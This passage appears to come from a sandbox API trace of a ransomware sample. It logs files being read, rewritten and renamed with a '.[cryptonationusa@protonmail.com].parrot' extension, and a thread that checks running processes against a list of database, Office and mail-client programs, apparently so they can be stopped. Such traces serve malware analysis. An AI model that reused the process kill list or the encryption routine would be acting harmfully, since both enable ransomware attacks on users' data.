lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x32de660 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3332688 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de660 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x329e548 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3332688 | out: hHeap=0x5b0000) returned 1 [0262.676] WriteFile (in: hFile=0x288, lpBuffer=0x329e560*, nNumberOfBytesToWrite=0x3f28, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x329e560*, lpNumberOfBytesWritten=0x18e8f4*=0x3f28, lpOverlapped=0x0) returned 1 [0262.679] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0262.679] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0262.679] CloseHandle (hObject=0x288) returned 1 [0262.679] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0262.679] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x3326a40 [0262.679] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3275a58 | out: hHeap=0x5b0000) returned 1 [0262.679] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\SendMail.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\sendmail.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\SendMail.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\sendmail.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.681] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326a40 | out: hHeap=0x5b0000) returned 1 [0262.681] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.681] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332e648 | out: hHeap=0x5b0000) returned 1 [0262.681] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0262.681] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0262.681] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0262.681] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0262.683] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0262.684] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0262.684] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.684] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0262.684] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0262.684] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x94c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0262.684] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0262.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0262.684] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.684] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0262.688] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.689] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x94c7, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x94c7, lpOverlapped=0x0) returned 1 [0262.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0262.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0262.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0262.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0262.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0262.690] GetLastError () returned 0x0 [0262.690] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0262.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0262.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0262.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0262.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0262.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0262.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0262.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x3277be8 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3277be8 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0262.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0262.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0262.692] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x32de660 [0262.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0262.692] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x332e648 [0262.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de660 | out: hHeap=0x5b0000) returned 1 [0262.692] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x33315e0 [0262.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332e648 | out: hHeap=0x5b0000) returned 1 [0262.692] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x32ae550 [0262.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33315e0 | out: hHeap=0x5b0000) returned 1 [0262.692] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x32c65d0 [0262.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae550 | out: hHeap=0x5b0000) returned 1 [0262.692] WriteFile (hFile=0x1b0, lpBuffer=0x32c65e0, nNumberOfBytesToWrite=0x95e8, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0) Thread: id = 2 os_tid = 0xa74 [0025.985] GetCurrentThread () returned 0xfffffffe [0025.985] WaitForSingleObject (hHandle=0xfffffffe, dwMilliseconds=0x64) returned 0x102 [0026.335] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xec [0026.339] Process32FirstW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0026.339] lstrcmpiW (lpString1="[System Process]", lpString2="SearchIndexer.exesqlservr.exe") returned -1 [0026.339] lstrcmpiW (lpString1="[System Process]", lpString2="msftesql.exe") returned -1 [0026.339] lstrcmpiW (lpString1="[System Process]", lpString2="sqlagent.exe") returned -1 [0026.339] lstrcmpiW (lpString1="[System Process]", lpString2="sqlwriter.exe") returned -1 [0026.339] lstrcmpiW (lpString1="[System Process]", lpString2="oracle.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="ocssd.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="dbsnmp.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="synctime.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="mydesktopqos.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvc.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="isqlpplussvc.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="isqlpussvc.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="xfssvccon.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="mydesktopservice.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="ocautoupds.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="encsvc.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="firefoxconfig.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="tbirdconfig.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="ocomm.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld-nt") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld-opt") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="dbeng50.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="sqbcoreservice.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="excel.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="infopath.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="msaccess.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="mspub.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="onenote.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="outlook.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="powerpnt.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="stream.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="thebat.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="thebat64.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="Thunderbird.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="visio.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="winword.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="wordpad.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="sqlwb.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="sqlbrowser.exe") returned -1 [0026.340] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcagntsvc.exe") returned -1 [0026.341] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcencsvc.exe") returned -1 [0026.341] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcisqlplussvc.exe") returned -1 [0026.341] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="SearchIndexer.exesqlservr.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="msftesql.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="sqlagent.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="sqlwriter.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="oracle.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="ocssd.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="dbsnmp.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="synctime.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="mydesktopqos.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="agntsvc.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="isqlpplussvc.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="isqlpussvc.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="xfssvccon.exe") returned -1 [0026.341] lstrcmpiW (lpString1="System", lpString2="mydesktopservice.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="ocautoupds.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="encsvc.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="firefoxconfig.exe") returned 1 [0026.341] lstrcmpiW (lpString1="System", lpString2="tbirdconfig.exe") returned -1 [0026.341] lstrcmpiW (lpString1="System", lpString2="ocomm.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="mysqld.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="mysqld-nt") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="mysqld-opt") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="dbeng50.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="sqbcoreservice.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="excel.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="infopath.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="msaccess.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="mspub.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="onenote.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="outlook.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="powerpnt.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="stream.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="thebat.exe") returned -1 [0026.342] lstrcmpiW (lpString1="System", lpString2="thebat64.exe") returned -1 [0026.342] lstrcmpiW (lpString1="System", lpString2="Thunderbird.exe") returned -1 [0026.342] lstrcmpiW (lpString1="System", lpString2="visio.exe") returned -1 [0026.342] lstrcmpiW (lpString1="System", lpString2="winword.exe") returned -1 [0026.342] lstrcmpiW (lpString1="System", lpString2="wordpad.exe") returned -1 [0026.342] lstrcmpiW (lpString1="System", lpString2="sqlwb.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="sqlbrowser.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="agntsvcagntsvc.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="agntsvcencsvc.exe") returned 1 [0026.342] lstrcmpiW (lpString1="System", lpString2="agntsvcisqlplussvc.exe") returned 1 [0026.342] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="SearchIndexer.exesqlservr.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="msftesql.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="sqlagent.exe") returned -1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="sqlwriter.exe") returned -1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="oracle.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="ocssd.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="dbsnmp.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="synctime.exe") returned -1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="mydesktopqos.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="agntsvc.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="isqlpplussvc.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="isqlpussvc.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="xfssvccon.exe") returned -1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="mydesktopservice.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="ocautoupds.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="encsvc.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="firefoxconfig.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="tbirdconfig.exe") returned -1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="ocomm.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="mysqld.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="mysqld-nt") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="mysqld-opt") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="dbeng50.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="sqbcoreservice.exe") returned -1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="excel.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="infopath.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="msaccess.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="mspub.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="onenote.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="outlook.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="powerpnt.exe") returned 1 [0026.343] lstrcmpiW (lpString1="smss.exe", lpString2="stream.exe") returned -1 [0026.344] lstrcmpiW (lpString1="smss.exe", lpString2="thebat.exe") returned -1 [0026.344] lstrcmpiW (lpString1="smss.exe", lpString2="thebat64.exe") returned -1 [0026.344] lstrcmpiW (lpString1="smss.exe", lpString2="Thunderbird.exe") returned -1 [0026.344] lstrcmpiW (lpString1="smss.exe", lpString2="visio.exe") returned -1 [0026.344] lstrcmpiW (lpString1="smss.exe", lpString2="winword.exe") returned -1 [0026.344] lstrcmpiW (lpString1="smss.exe", lpString2="wordpad.exe") returned -1 [0026.344] lstrcmpiW (lpString1="smss.exe", lpString2="sqlwb.exe") returned -1 [0026.344] lstrcmpiW (lpString1="smss.exe", lpString2="sqlbrowser.exe") returned -1 [0026.344] lstrcmpiW (lpString1="smss.exe", lpString2="agntsvcagntsvc.exe") returned 1 [0026.344] lstrcmpiW (lpString1="smss.exe", lpString2="agntsvcencsvc.exe") returned 1 [0026.344] lstrcmpiW (lpString1="smss.exe", lpString2="agntsvcisqlplussvc.exe") returned 1 [0026.344] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0026.344] lstrcmpiW (lpString1="csrss.exe", lpString2="SearchIndexer.exesqlservr.exe") returned -1 [0026.344] lstrcmpiW (lpString1="csrss.exe", lpString2="msftesql.exe") returned -1 [0026.344] lstrcmpiW (lpString1="csrss.exe", lpString2="sqlagent.exe") returned -1 [0026.344] lstrcmpiW (lpString1="csrss.exe", lpString2="sqlwriter.exe") returned -1 [0026.344] lstrcmpiW (lpString1="csrss.exe", lpString2="oracle.exe") returned -1 [0026.344] lstrcmpiW (lpString1="csrss.exe", lpString2="ocssd.exe") returned -1 [0026.344] lstrcmpiW (lpString1="csrss.exe", lpString2="dbsnmp.exe") returned -1 [0026.344] lstrcmpiW (lpString1="csrss.exe", lpString2="synctime.exe") returned -1 [0026.344] lstrcmpiW (lpString1="csrss.exe", lpString2="mydesktopqos.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="agntsvc.exe") returned 1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="isqlpplussvc.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="isqlpussvc.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="xfssvccon.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="mydesktopservice.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="ocautoupds.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="encsvc.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="firefoxconfig.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="tbirdconfig.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="ocomm.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="mysqld.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="mysqld-nt") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="mysqld-opt") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="dbeng50.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="sqbcoreservice.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="excel.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="infopath.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="msaccess.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="mspub.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="onenote.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="outlook.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="powerpnt.exe") returned -1 [0026.345] lstrcmpiW 